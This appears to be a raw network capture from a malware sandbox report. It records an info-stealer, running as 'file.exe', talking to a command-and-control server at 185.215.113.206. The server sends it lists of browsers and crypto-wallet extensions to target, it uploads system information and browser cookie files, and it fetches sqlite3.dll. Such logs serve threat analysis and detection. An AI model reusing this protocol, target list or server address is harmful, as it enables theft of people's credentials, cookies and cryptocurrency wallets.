73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjVmMzZmODE2NzE3YWY1ODkzZDk3ZjAwNTE2MmNiOTk2YTg4MDhjY2UzYTU0MTRjNDAxNzFjZDIzZDExNzlkZmQ1ZWM3NTI1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 9, 2024 22:09:16.109276056 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="message"browsers------CFHCBKKFIJJJECAAFCGI--
Nov 9, 2024 22:09:16.386468887 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 9, 2024 22:09:16.386511087 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 9, 2024 22:09:16.386524916 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 9, 2024 22:09:16.402777910 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"plugins------FHIDBKFCAAEBFIDHDBAE--
Nov 9, 2024 22:09:16.679692030 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 9, 2024 22:09:16.679716110 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 9, 2024 22:09:16.679728985 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 9, 2024 22:09:16.679773092 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 9, 2024 22:09:16.679780006 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 9, 2024 22:09:16.679792881 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 9, 2024 22:09:16.679903030 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Nov 9, 2024 22:09:16.680100918 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Nov 9, 2024 22:09:16.681652069 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 2d 2d 0d 0a Data Ascii: ------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="message"fplugins------EBAFHCBFHDHCAAKFHDGD--
Nov 9, 2024 22:09:16.958539963 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 9, 2024 22:09:16.988718033 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 185.215.113.206 Content-Length: 8083 Connection: Keep-Alive Cache-Control: no-cache
Nov 9, 2024 22:09:16.988818884 CET	8083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 9, 2024 22:09:18.490504980 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:18.490708113 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:18.490775108 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 9, 2024 22:09:19.194493055 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 9, 2024 22:09:19.469419956 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49737	185.215.113.206	80	1848	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:09:30.835161924 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKJKFBAFIDAEBFHJKJEB--
Nov 9, 2024 22:09:32.244785070 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
